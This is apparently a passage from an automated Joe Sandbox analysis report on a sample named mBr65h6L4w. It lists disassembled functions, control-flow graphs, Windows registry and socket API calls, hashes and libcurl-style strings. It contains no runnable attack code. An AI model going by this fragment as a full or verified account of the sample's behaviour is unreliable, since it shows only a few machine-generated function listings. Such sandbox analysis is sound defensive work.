                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: FileFind$CallbackDiskDispatcherDriveFirstFolderFreeGlobalInfoKnownMemoryNextPathSpaceStatusSystemTypeUser
                                                    • String ID: @$`
                                                    • API String ID: 2066228396-3318628307
                                                    • Opcode ID: 18d65f46667a22baacbd58b3d87283ea8e9027c2017c3e0452acbcdfc0919445
                                                    • Instruction ID: ff25fbf2392a2d8d5b8ab8a4778f460929d6a8b0783d3cc3d52fab89590f6d90
                                                    • Opcode Fuzzy Hash: 18d65f46667a22baacbd58b3d87283ea8e9027c2017c3e0452acbcdfc0919445
                                                    • Instruction Fuzzy Hash: 0DD1B3B49083099FCB10EF78C59569EBBF0FF48344F008969E898A7351E7749A84DF92
                                                    Function 009929FF Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 321registryfileCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1265 9929ff-992a2f FindFirstFileA 1266 992a38 1265->1266 1267 992a31-992a36 1265->1267 1268 992a3d-992a91 call e19c50 call e19ce0 RegOpenKeyExA 1266->1268 1267->1268 1273 992a9a 1268->1273 1274 992a93-992a98 1268->1274 1275 992a9f-992b0c call e19c50 call e19ce0 CharUpperA call d18da0 1273->1275 1274->1275 1283 992b0e-992b13 1275->1283 1284 992b15 1275->1284 1285 992b1a-992b92 call e19c50 call e19ce0 call d18e80 call d18e70 1283->1285 1284->1285 1294 992bcc-992c66 QueryFullProcessImageNameA CloseHandle call d18da0 1285->1294 1295 992b94-992ba3 1285->1295 1305 992c68-992c6d 1294->1305 1306 992c6f 1294->1306 1298 992bb0-992bc0 call d18e68 1295->1298 1299 992ba5-992bae 1295->1299 1303 992bc5-992bca 1298->1303 1299->1294 1303->1294 1303->1295 1307 992c74-992ce9 call e19c50 call e19ce0 call d18e80 call d18e70 1305->1307 1306->1307 1316 992dcf-992e1c call e19c50 call e19ce0 CloseHandle 1307->1316 1317 992cef-992d49 call d18bb0 call d18da0 1307->1317 1327 992e23-992e2e 1316->1327 1328 992d99-992dad 1317->1328 1329 992d4b-992d63 call d18da0 1317->1329 1330 992e30-992e35 1327->1330 1331 992e37 1327->1331 1328->1316 1329->1328 1338 992d65-992d7d call d18da0 1329->1338 1332 992e3c-992ed6 call e19c50 call e19ce0 1330->1332 1331->1332 1347 992ed8-992ee1 1332->1347 1348 992eea 1332->1348 1338->1328 1343 992d7f-992d97 call d18da0 1338->1343 1343->1328 1349 992daf-992dc9 call d18e68 1343->1349 1347->1348 1350 992ee3-992ee8 1347->1350 1351 992eef-992f16 call e19c50 call e19ce0 1348->1351 1349->1316 1349->1317 1350->1351
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: CloseHandle$CharFileFindFirstFullImageNameOpenProcessQueryUpper
                                                    • String ID: 0
                                                    • API String ID: 2406880114-4108050209
                                                    • Opcode ID: d740dc793a37ff909da91bcac4cd075632e7fc2aa84be05f1044f865a422557c
                                                    • Instruction ID: 9971553e766f5b34fe842b5cdf9fb5c91acfe0fa9b475b18bc2c1765a2f22ddd
                                                    • Opcode Fuzzy Hash: d740dc793a37ff909da91bcac4cd075632e7fc2aa84be05f1044f865a422557c
                                                    • Instruction Fuzzy Hash: BBE1F7B49053099FCB10EF68D98569EBBF4EF48304F008869E888DB355EB75D988DF52
                                                    Function 00A5B180 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 323COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1585 a5b180-a5b195 1586 a5b3e0-a5b3e7 1585->1586 1587 a5b19b-a5b1a2 1585->1587 1588 a5b1b0-a5b1b9 1587->1588 1588->1588 1589 a5b1bb-a5b1bd 1588->1589 1589->1586 1590 a5b1c3-a5b1d0 1589->1590 1592 a5b1d6-a5b1f2 1590->1592 1593 a5b3db 1590->1593 1594 a5b229-a5b22d 1592->1594 1593->1586 1595 a5b233-a5b246 1594->1595 1596 a5b3e8-a5b417 1594->1596 1597 a5b260-a5b264 1595->1597 1598 a5b248-a5b24b 1595->1598 1604 a5b582-a5b589 1596->1604 1605 a5b41d-a5b429 1596->1605 1602 a5b269-a5b286 call a5af30 1597->1602 1599 a5b215-a5b223 1598->1599 1600 a5b24d-a5b256 1598->1600 1599->1594 1603 a5b315-a5b33c call d18b00 1599->1603 1600->1602 1613 a5b2f0-a5b301 1602->1613 1614 a5b288-a5b2a3 call a5b060 1602->1614 1617 a5b342-a5b347 1603->1617 1618 a5b3bf-a5b3ca 1603->1618 1608 a5b435-a5b44c call a5b590 1605->1608 1609 a5b42b-a5b433 call a5b590 1605->1609 1621 a5b44e-a5b456 call a5b590 1608->1621 1622 a5b458-a5b471 call a5b590 1608->1622 1609->1608 1613->1599 1632 a5b307-a5b310 1613->1632 1628 a5b200-a5b213 call a5b020 1614->1628 1629 a5b2a9-a5b2c7 getsockname call a5b020 1614->1629 1625 a5b384-a5b38f 1617->1625 1626 a5b349-a5b358 1617->1626 1623 a5b3cc-a5b3d9 1618->1623 1621->1622 1643 a5b473-a5b487 1622->1643 1644 a5b48c-a5b4a7 1622->1644 1623->1586 1625->1618 1634 a5b391-a5b3a5 1625->1634 1633 a5b360-a5b382 1626->1633 1628->1599 1641 a5b2cc-a5b2dd 1629->1641 1632->1623 1633->1625 1633->1633 1635 a5b3b0-a5b3bd 1634->1635 1635->1618 1635->1635 1641->1599 1645 a5b2e3 1641->1645 1643->1604 1646 a5b4b3-a5b4cb call a5b660 1644->1646 1647 a5b4a9-a5b4b1 call a5b660 1644->1647 1645->1632 1652 a5b4cd-a5b4d5 call a5b660 1646->1652 1653 a5b4d9-a5b4f5 call a5b660 1646->1653 1647->1646 1652->1653 1658 a5b4f7-a5b50b 1653->1658 1659 a5b50d-a5b52b call a5b770 * 2 1653->1659 1658->1604 1659->1604 1664 a5b52d-a5b531 1659->1664 1665 a5b580 1664->1665 1666 a5b533-a5b53b 1664->1666 1665->1604 1667 a5b53d-a5b547 1666->1667 1668 a5b578-a5b57e 1666->1668 1667->1668 1669 a5b549-a5b54d 1667->1669 1668->1604 1669->1668 1670 a5b54f-a5b558 1669->1670 1670->1668 1671 a5b55a-a5b576 call a5b870 * 2 1670->1671 1671->1604 1671->1668
                                                    APIs
                                                    • getsockname.WS2_32(-00000020,-00000020,?), ref: 00A5B2B7
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: getsockname
                                                    • String ID: XL$`L$ares__sortaddrinfo.c$cur != NULL
                                                    • API String ID: 3358416759-1503282396
                                                    • Opcode ID: 5f091070f601026cac0345fae6919ccf61a42dbd8ac920b725b16078dddf5eea
                                                    • Instruction ID: 8227a597b7d8a64e3a292ce2dadaf90a48311af881a23186a717c536e7b7149a
                                                    • Opcode Fuzzy Hash: 5f091070f601026cac0345fae6919ccf61a42dbd8ac920b725b16078dddf5eea
                                                    • Instruction Fuzzy Hash: 05C17D716143059FD718DF24C980A6A77E1FF88356F04886CF84A9B3A1EB30ED49CBA1
                                                    Function 009A05B0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 377networkCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1845 9a05b0-9a05b7 1846 9a07ee 1845->1846 1847 9a05bd-9a05d4 1845->1847 1848 9a05da-9a05e6 1847->1848 1849 9a07e7-9a07ed 1847->1849 1848->1849 1850 9a05ec-9a05f0 1848->1850 1849->1846 1851 9a05f6-9a0620 call 9a7350 call 9970b0 1850->1851 1852 9a07c7-9a07cc 1850->1852 1857 9a066a-9a068c call 9cdec0 1851->1857 1858 9a0622-9a0624 1851->1858 1852->1849 1864 9a0692-9a06a0 1857->1864 1865 9a07d6-9a07e3 call 9a7380 1857->1865 1859 9a0630-9a0655 call 9970d0 call 9a03c0 call 9a7450 1858->1859 1887 9a065b-9a0668 call 9970e0 1859->1887 1888 9a07ce 1859->1888 1866 9a06a2-9a06a4 1864->1866 1867 9a06f4-9a06f6 1864->1867 1865->1849 1870 9a06b0-9a06e4 call 9a73b0 1866->1870 1872 9a07ef-9a082b call 9a3000 1867->1872 1873 9a06fc-9a06fe 1867->1873 1870->1865 1886 9a06ea-9a06ee 1870->1886 1884 9a0a2f-9a0a35 1872->1884 1885 9a0831-9a0837 1872->1885 1877 9a072c-9a0754 1873->1877 1881 9a075f-9a078b 1877->1881 1882 9a0756-9a075b 1877->1882 1900 9a0700-9a0703 1881->1900 1901 9a0791-9a0796 1881->1901 1889 9a075d 1882->1889 1890 9a0707-9a0719 WSAEventSelect 1882->1890 1895 9a0a3c-9a0a52 1884->1895 1896 9a0a37-9a0a3a 1884->1896 1892 9a0839-9a084c call 9a6fa0 1885->1892 1893 9a0861-9a087e 1885->1893 1886->1870 1894 9a06f0 1886->1894 1887->1857 1887->1859 1888->1865 1899 9a0723-9a0726 1889->1899 1890->1865 1898 9a071f 1890->1898 1910 9a0a9c-9a0aa4 1892->1910 1911 9a0852 1892->1911 1912 9a0882-9a088d 1893->1912 1894->1867 1895->1865 1903 9a0a58-9a0a81 call 9a2f10 1895->1903 1896->1895 1898->1899 1899->1872 1899->1877 1900->1890 1901->1900 1905 9a079c-9a07c2 call 9976a0 1901->1905 1903->1865 1918 9a0a87-9a0a97 call 9a6df0 1903->1918 1905->1900 1910->1865 1911->1893 1915 9a0854-9a085f 1911->1915 1916 9a0893-9a08b1 1912->1916 1917 9a0970-9a0975 1912->1917 1915->1912 1921 9a08c8-9a08f7 1916->1921 1919 9a097b-9a0989 call 9970b0 1917->1919 1920 9a0a19-9a0a2c 1917->1920 1918->1865 1919->1920 1928 9a098f-9a099e 1919->1928 1920->1884 1929 9a08f9-9a08fb 1921->1929 1930 9a08fd-9a0925 1921->1930 1932 9a09b0-9a09c1 call 9970d0 1928->1932 1931 9a0928-9a093f 1929->1931 1930->1931 1938 9a08b3-9a08c2 1931->1938 1939 9a0945-9a096b 1931->1939 1936 9a09c3-9a09c7 1932->1936 1937 9a09a0-9a09ae call 9970e0 1932->1937 1940 9a09e8-9a0a03 WSAEnumNetworkEvents 1936->1940 1937->1920 1937->1932 1938->1917 1938->1921 1939->1938 1942 9a09d0-9a09e6 WSAEventSelect 1940->1942 1943 9a0a05-9a0a17 1940->1943 1942->1937 1942->1940 1943->1942
                                                    APIs
                                                    • WSAEventSelect.WS2_32(?,8508C483,?), ref: 009A0711
                                                    • WSAEventSelect.WS2_32(?,8508C483,00000000), ref: 009A09DD
                                                    • WSAEnumNetworkEvents.WS2_32(?,00000000,00000000), ref: 009A09FB
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: EventSelect$EnumEventsNetwork
                                                    • String ID: multi.c
                                                    • API String ID: 2170980988-214371023
                                                    • Opcode ID: 19f282d532857f901872c9c8a22a0a3b8b5e00bbb75057ad0312208223509b5b
                                                    • Instruction ID: bd3ecb765b7051884775eef8ed088091ff978bdf461717ade8aaefb6cd8e0c51
                                                    • Opcode Fuzzy Hash: 19f282d532857f901872c9c8a22a0a3b8b5e00bbb75057ad0312208223509b5b
                                                    • Instruction Fuzzy Hash: DFD18C756083019FEB10CF64C885BABB7E9FFD6348F04882CF88586251E775E958DB92
                                                    Function 009A6FA0 Relevance: 1.8, APIs: 1, Instructions: 261COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 36873b911164d1b17898f86a1602ef0ec1e1a8b7739f161a2d83485972775bbe
                                                    • Instruction ID: 5579c85345bc6883d27dfe5e574efb474efabf83f74785fff83b803313af12bd
                                                    • Opcode Fuzzy Hash: 36873b911164d1b17898f86a1602ef0ec1e1a8b7739f161a2d83485972775bbe
                                                    • Instruction Fuzzy Hash: 7791113060C3598BD7358AA88C857BBF2D9EFD6364F158B2CE8A9431D4EB749C40D6D1
                                                    Function 00A5A8C0 Relevance: 1.5, APIs: 1, Instructions: 39COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • recvfrom.WS2_32(?,?,?,00000000,00001001,?,?,?,?,?,00A4712E,?,?,?,00001001,00000000), ref: 00A5A90D
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: recvfrom
                                                    • String ID:
                                                    • API String ID: 846543921-0
                                                    • Opcode ID: ad29caabcecdf8375dbe6fabc2c8ce417575be73f3d5ab31346600241ba25ebf
                                                    • Instruction ID: 9c75f3c02e18da988f1fc16fe3b15f4bf031b9e958a9e7f813e448a4acb28b6e
                                                    • Opcode Fuzzy Hash: ad29caabcecdf8375dbe6fabc2c8ce417575be73f3d5ab31346600241ba25ebf
                                                    • Instruction Fuzzy Hash: 2BF06D75208318AFD2109F41DC88D6BBBEDFFC9754F054A5DFD48232118270AE14CAB2
                                                    Function 00A4A440 Relevance: 53.6, APIs: 19, Strings: 11, Instructions: 1066registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters,00000000,00020019,?), ref: 00A4AA19
                                                    • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,00000000), ref: 00A4AA4C
                                                    • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,?), ref: 00A4AA97
                                                    • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,00000000), ref: 00A4AAE9
                                                    • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,?), ref: 00A4AB30
                                                    • RegCloseKey.KERNELBASE(?), ref: 00A4AB6A
                                                    • RegOpenKeyExA.KERNELBASE(80000002,Software\Policies\Microsoft\Windows NT\DNSClient,00000000,00020019,?), ref: 00A4AB82
                                                    • RegOpenKeyExA.KERNELBASE(80000002,Software\Policies\Microsoft\System\DNSClient,00000000,00020019,?), ref: 00A4AC46
                                                    • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces,00000000,00020019,?), ref: 00A4AD0A
                                                    • RegEnumKeyExA.KERNELBASE ref: 00A4AD8D
                                                    • RegCloseKey.KERNELBASE(?), ref: 00A4ADD9
                                                    • RegEnumKeyExA.KERNELBASE ref: 00A4AE08
                                                    • RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,?), ref: 00A4AE2A
                                                    • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,00000000), ref: 00A4AE54
                                                    • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,00000000), ref: 00A4AF63
                                                    • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,?), ref: 00A4AFB2
                                                    • RegQueryValueExA.KERNELBASE(?,DhcpDomain,00000000,00000000,00000000,00000000), ref: 00A4B072
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: QueryValue$Open$CloseEnum
                                                    • String ID: DhcpDomain$Domain$PrimaryDNSSuffix$SearchList$Software\Policies\Microsoft\System\DNSClient$Software\Policies\Microsoft\Windows NT\DNSClient$System\CurrentControlSet\Services\Tcpip\Parameters$System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces$XL$\L$`L
                                                    • API String ID: 4217438148-3520131594
                                                    • Opcode ID: 2eeed40184c48e4477c7bdd2c9920d9327d94414420605ca6c0a3608d24a36ce
                                                    • Instruction ID: b18d639e96e85a4c397539f3a3516d5675640029b056efc1da58f84b7f33b49d
                                                    • Opcode Fuzzy Hash: 2eeed40184c48e4477c7bdd2c9920d9327d94414420605ca6c0a3608d24a36ce
                                                    • Instruction Fuzzy Hash: E872CDB5648301ABE320DF24CC86B6BB7E8EF95740F144828F985D7291E775E944CBA3
                                                    Function 009CA550 Relevance: 28.8, APIs: 1, Strings: 15, Instructions: 794COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • setsockopt.WS2_32(?,00000006,00000001,00000001,00000004), ref: 009CA832
                                                    Strings
                                                    • @, xrefs: 009CAC42
                                                    • Couldn't bind to '%s' with errno %d: %s, xrefs: 009CAE1F
                                                    • Trying [%s]:%d..., xrefs: 009CA689
                                                    • cf-socket.c, xrefs: 009CA5CD, 009CA735
                                                    • bind failed with errno %d: %s, xrefs: 009CB080
                                                    • Local Interface %s is ip %s using address family %i, xrefs: 009CAE60
                                                    • Bind to local port %d failed, trying next, xrefs: 009CAFE5
                                                    • @, xrefs: 009CA8F4
                                                    • sa_addr inet_ntop() failed with errno %d: %s, xrefs: 009CA6CE
                                                    • Could not set TCP_NODELAY: %s, xrefs: 009CA871
                                                    • Local port: %hu, xrefs: 009CAF28
                                                    • Name '%s' family %i resolved to '%s' family %i, xrefs: 009CADAC
                                                    • Couldn't bind to interface '%s' with errno %d: %s, xrefs: 009CAD0A
                                                    • cf_socket_open() -> %d, fd=%d, xrefs: 009CA796
                                                    • Trying %s:%d..., xrefs: 009CA7C2, 009CA7DE
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
